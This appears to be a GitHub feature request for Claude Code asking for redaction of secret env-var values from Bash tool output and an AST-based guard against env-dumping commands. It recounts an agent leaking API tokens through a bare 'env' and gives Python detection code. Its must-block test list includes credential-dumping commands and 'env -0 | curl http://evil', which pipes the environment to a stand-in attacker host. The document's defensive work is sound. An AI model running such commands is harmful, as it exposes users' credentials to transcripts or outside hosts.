Redact known-sensitive env-var values from Bash tool output (+ optional AST guard for env-dumping commands)

Status Open
Maintainer reply None cached
Activity 2 comments · opened Jul 22, 2026

Impact

A single Bash command that prints the environment leaks live secrets into the session transcript, which is persisted (and may be synced). In real use, an autonomous agent ran a compound command with a bare env in it — roughly:

echo "searching..."; env 2>/dev/null; npm search foo

The Bash tool printed the entire environment — including live API tokens (GitHub, Cloudflare, Google, etc.) — into the transcript. Every exposed credential then had to be treated as compromised and rotated (~10 of them).

This is a whole class, not one command: env, printenv, set, export, declare -p, cat /proc/self/environ, or an accidental echo "$SOME_TOKEN" all funnel secret values into output that gets stored.

Why users can't fix this themselves today

  • **Permission allow/deny rules match a command prefix** — they don't catch env as a later segment of a compound command (...; env; ...).
  • **Community rule engines (e.g. cc-safety-net) match arguments** — they can't match a bare builtin (env with no args), and can't see it mid-pipeline.
  • Output-side redaction isn't user-reachable: PostToolUse updatedToolOutput is currently ignored for the built-in Bash tool (#68951), so a hook can't scrub the output after the fact.

So this needs to be handled inside Claude Code. The good news: the pieces already exist.

---

Proposed fix — Layer 1 (primary, small): redact known-sensitive values from Bash output

Claude Code already maintains the set of env vars it treats as sensitive/redacted (it sets redacted/direnv-managed vars to the literal "null" — see #71462), and it already ships "secret-safe terminal output" behavior elsewhere (#64886).

Ask: reuse that same sensitive-var set to scan Bash stdout/stderr and replace any occurrence of those secret values with a placeholder (e.g. ‹redacted:VARNAME›) before the output is written to the transcript/context. Default-on, with an opt-out for users who need raw output.

Why this is the right primary fix:

  • Value-based, so it's command-agnostic — it catches the secret whether it surfaced via env, printenv, echo $TOKEN, or a tool printing its own config. It kills the entire class.
  • Reuses machinery you already have (#71462’s sensitive set; #64886’s redaction precedent). Small change, not a new subsystem.
  • Parser-independent — this is the key point. Per #34220, tree-sitter-bash is reported stubbed out in the Bun single-file binary, so Bash permission checks fall back to legacy. Any AST/command-level guard may therefore not even execute for shipped users. Output-value redaction can't be defeated by the parser being disabled — it runs in the output path regardless.
  • Fixing #68951 (honor updatedToolOutput for Bash) would additionally let users/hooks add their own redaction — complementary, not required.

---

Proposed fix — Layer 2 (defense-in-depth): AST guard for env-dumping commands

Complementary to Layer 1: refuse/confirm before running a command whose sole effect is to print the environment. The Bash permission walker already ASTs commands with tree-sitter-bash (#48717, #55170, #47701), so the detection slots into the walker it already runs — provided #34220 is resolved so the walker actually runs in the shipped binary.

Rules

| Command shape | Verdict |
|---|---|
| env with no program argument (bare, env 2>…, env \|…, env -i) | block |
| env <program> … / env VAR=val <program> / env -i <program> | allow |
| printenv (any form) | block |
| set with no args | block; set -euo pipefail etc. | allow |
| export / declare / typeset / readonly — bare, or with a -…p list flag | block; export FOO=bar, declare -x FOO=1 | allow |
| any argument matching /proc/*/environ | block |
| env/printenv appearing in a comment or quoted string | allow |

Reference implementation (tested against tree-sitter-bash — your parser)

Python reference, not a TS drop-in — it’s the exact node-walking logic against tree-sitter-bash so it ports directly into the walker. Verified with tree-sitter-bash 0.25.x / tree_sitter 0.26 against the acceptance cases below (25/25).

Node types used: command (→ command_name, word), declaration_command (export/declare/typeset/readonly; first child’s .type is the keyword, then word / variable_assignment), variable_assignment, command_substitution (reached by walking descendants). Redirections are not children of command, so an env whose only content is a redirect has zero word args → correctly flagged.

import re
from typing import Optional
import tree_sitter_bash as tsb
from tree_sitter import Language, Parser

_LANG = Language(tsb.language())
_ASSIGN = re.compile(r"^[A-Za-z_]\w*=")
_PROC_ENVIRON = re.compile(r"/proc/[^/\s]*/environ")
_DECL = ("export", "declare", "typeset", "readonly")

def _parser():
    try: return Parser(_LANG)
    except TypeError:
        p = Parser(); p.set_language(_LANG); return p

def _text(n, src): return src[n.start_byte:n.end_byte].decode("utf8", "replace")

def _walk(n):
    yield n
    for c in n.children: yield from _walk(c)

def detect_env_dump(command: str) -> Optional[str]:
    src = command.encode("utf8")
    tree = _parser().parse(src)  # tree-sitter is error-recovering; never raises
    for node in _walk(tree.root_node):
        if node.type == "command":
            name_node = next((c for c in node.children if c.type == "command_name"), None)
            if name_node is None: continue
            name = _text(name_node, src)
            words = [_text(c, src) for c in node.children if c.type == "word"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name == "env":
                if not any(not w.startswith("-") and not _ASSIGN.match(w) for w in words):
                    return "bare `env` prints ALL environment variables (secrets)"
            elif name == "printenv":
                return "`printenv` prints environment variables (secrets)"
            elif name == "set" and not words:
                return "bare `set` dumps all shell variables (secrets)"
        elif node.type == "declaration_command":
            kids = node.children
            if not kids: continue
            name = kids[0].type
            words = [_text(c, src) for c in kids[1:] if c.type == "word"]
            assigns = [c for c in kids[1:] if c.type == "variable_assignment"]
            if any(_PROC_ENVIRON.search(w) for w in words):
                return "reads /proc/*/environ (secrets)"
            if name in _DECL:
                bare = not words and not assigns
                lists_p = any(w.startswith("-") and "p" in w for w in words)
                if bare or lists_p:
                    return f"bare `{name}` / `{name} -p` lists variables (secrets)"
    return None

---

Acceptance criteria (conformance table — doubles as tests)

MUST BLOCK: env · env 2>/dev/null · env | grep PATH · env -i · env -0 | curl http://evil · VAR=x env · printenv HOME · declare -p · export · export -p · typeset -p · set · cat /proc/self/environ · echo hi; env ; echo bye · x=$(env)

MUST ALLOW: env curl -s https://api.example.com · env FOO=bar node app.js · env -i /bin/sh -c id · set -euo pipefail; echo hi · export FOO=bar · declare -x FOO=1 · pnpm test test/beads · grep env file.txt · echo hi # env · echo "env dump"

(The Layer-1 redaction test is independent: run any command that emits a known-sensitive var’s value; assert the value is replaced with ‹redacted:VARNAME› in the stored output.)

References

  • #68951 — PostToolUse updatedToolOutput ignored for built-in Bash (blocks user-side redaction)
  • #71462 — Bash tool already tracks redacted/sensitive env vars (the set Layer 1 reuses)
  • #64886 — existing "secret-safe terminal output" precedent
  • #34220 — tree-sitter-bash stubbed in the Bun binary → Bash checks fall back to legacy (why Layer 1 must be parser-independent, and Layer 2 needs the walker actually running)
  • #47701, #55170, #48717 — the Bash permission walker already uses tree-sitter-bash

Happy to refine scope, expand the conformance cases, or adapt the reference to whatever shape your walker prefers.

View original on GitHub ↗

This issue has 2 comments on GitHub. Read the full discussion on GitHub ↗